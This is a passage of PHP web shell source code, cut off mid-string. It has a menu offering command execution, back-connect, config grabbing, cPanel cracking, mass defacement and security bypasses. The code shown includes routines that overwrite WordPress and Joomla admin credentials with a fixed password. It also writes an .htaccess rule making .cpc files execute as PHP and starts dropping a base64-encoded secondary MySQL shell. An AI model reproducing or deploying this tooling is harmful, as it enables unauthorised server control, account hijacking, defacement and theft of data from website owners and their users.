width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 12px #222222; -webkit-box-shadow:0px 0px 12px #222222;
}
.explore a {
Text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 7px;
line-height:24px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 12px #222222; -webkit-box-shadow:0px 0px 12px #222222;
}
.explore th{
padding:3px 8px;
font-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 12px #222222; -webkit-box-shadow:0px 0px 12px #222222;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid white; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 12px #222222; -webkit-box-shadow:0px 0px 12px #222222;
}
.explore tr:hover{
background:#2219B2;
}
.viewfile{
background:transparent;
color:#000;
font-color: white;
margin:0 3px;
border: 1px solid #444444;
font-family: 'Salsa';
color:white;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
#nav{position:fixed;z-index:999;top:0;width:100%;left:90%;
}
a.nav-fokus {display:block; width:auto; height:auto; background:#2219B2; border-top:0px; border-left: 2px solid #fff; border-right:2px solid #fff; border-bottom:2px solid #fff; padding:4px 18px; text-align:center; text-decoration:none; color:#FFFFFF; line-height:20px; overflow:hidden; float:left;
}
a.nav-fokus:hover {color:#FFFFFF; background:#2219B2; border-top:0px; border-left: 2px solid #B4B4B4; border-right:2px solid #B4B4B4; border-bottom:2px solid #B4B4B4;
}
</style></head>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="BlackhatCode";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
}
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>
<body bgcolor="black">
<body background="black" onLoad="document.getElementById('cmd').focus();">
<div class="head_info">
<table width="87%" ><tr><td><table class=""><tr><td><pre><?php echo $buff; ?></pre></td>
</tr><tr><td><b></b></td></tr></table></td></tr></table>
</div><center><br><div id="menu">
<a href="?<?php echo "y=".$pwd; ?>">File Manager</a>
<a href="?<?php echo "y=".$pwd; ?>&x=execute">Command Execute</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload File</a>
<a href="?<?php echo "y=".$pwd; ?>&x=back">Back Connect</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mysql">MySQL Connect</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain Viewer</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jumping">Jumping Server</a>
<a href="?<?php echo "y=".$pwd; ?>&x=configs">Config Grabber</a>
<a href="?<?php echo "y=".$pwd; ?>&x=conkill">Config Killer</a>
<a href="?<?php echo "y=".$pwd; ?>&x=webwhois">Website Whois</a><br> <br>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface Dir</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cpanel">cPanel Cracker</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wpreset">WordPress Password Reset</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jmreset">Joomla Password Reset</a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H Mass Poster</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgishell">CGI Telnet Shell Final 2015</a>
<a href="?<?php echo "y=".$pwd; ?>&x=encode">Script Encode & Decode</a> <br> <br>
<a href="?<?php echo "y=".$pwd; ?>&x=passhash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cloudflare">Bypass CloudFlare</a>
<a href="?<?php echo "y=".$pwd; ?>&x=rootpath">Bypass Root Path</a>
<a href="?<?php echo "y=".$pwd; ?>&x=forbidden">Bypass Symlink Forbidden</a>
<a href="?<?php echo "y=".$pwd; ?>&x=servererror">Bypass Server Error</a>
<a href="?<?php echo "y=".$pwd; ?>&x=about">About Quote</a>
<a href="?<?php echo "y=".$pwd; ?>&x=rdpshell">RDP Shell 2015</a>
<a href="?">Back To Shell</a>
</div></center><br>
<div id='nav'>
<a class='nav-fokus' href="?<?php echo "y=".$pwd;?>&x=logout"><b>Log-Out</b></a></div>
<!-- menu End -->
<?php
@ini_set('display_errors', 0);
if(isset($_GET['x']) && ($_GET['x'] == 'eval')){ ?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpreset'))
{
echo "<center/><b><br><br><font color=#00eaff> Wordpress Password Reset </font></b><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'>
<table class='tabnet' style='width:390px;'><tr><td> Hostname</td><td>
<input style='width:310px;' class='inputz' type='Text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:310px;' class='inputz' type='Text' name='database' value='wp-' /></td></tr> <tr><td> Username</td><td>
<input style='width:310px;' class='inputz' type='Text' name='username' value='wp-' /></td></tr> <tr><td> Password</td><td>
<input style='width:310px;' class='inputz' type='Text' name='password' value='**' /></td></tr>
<tr><td> New User</td><td>
<input style='width:310px;' class='inputz' type='Text' name='admin' value='admin' /></td></tr>
<tr><td> New Pass</td><td>
<input style='width:130px;' class='inputz' type='Text' name='pwd' value='123456' />
<input style='width:23%;' class='inputzbut' type='submit' value='Go' name='send' /></FORM>
</td></tr> </table><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@MySQL_connect($localhost,$username,$password) or die(MySQL_error());
@MySQL_select_db($database) or die(MySQL_error());
$hash = crypt($pwd);
$a4s=@MySQL_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(MySQL_error());
if($a4s){
echo "<b> Success! Now You Can Login To WordPress Admin</b> ";
echo "<b> New Password: 123456 </b>";
}
}
echo "
</div>";
exit;
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'jmreset'))
{
echo "<center/><b><br><br><font color=#00eaff> Joomla Password Reset </font></b><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:390px;'><tr><td> Hostname</td><td>
<input style='width:310px;' class='inputz' type='Text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:310px;' class='inputz' type='Text' name='Database' value='Database' /></td></tr> <tr><td> Username</td><td>
<input style='width:310px;' class='inputz' type='Text' name='Username' value='db_user' /></td></tr> <tr><td> Password</td><td>
<input style='width:310px;' class='inputz' type='password' name='Password' value='**' /></td></tr> <tr><td> New User</td><td>
<input style='width:310px;' class='inputz' name='admin' value='admin' /></td></tr>
<tr><td> New Pass</td><td>123456 =
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />
<input style='width:23%;' class='inputzbut' type='submit' value='Do' name='send' /></FORM>
</td></tr> </table><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@MySQL_connect($localhost,$username,$password) or die(MySQL_error());
@MySQL_select_db($database) or die(MySQL_error());
$hash = crypt($pwd);
$SQL=@MySQL_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(MySQL_error());
if($SQL){
echo "<b> Success! Now You Can Login To Administrator</b> ";
echo "<b> New Password: 123456 </b>";
}
}
echo "
</div>";
exit;
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
<?php
echo "<center/><br/><b><font color=silver>[+] MySQL Interface [+]</font></b><br><br>";
mkdir('MySQL', 0755);
chdir('MySQL');
$akses = ".htaccess";
$buka_lah = "$akses";
$buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";
fwrite ( $buka , $metin ) ;
fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9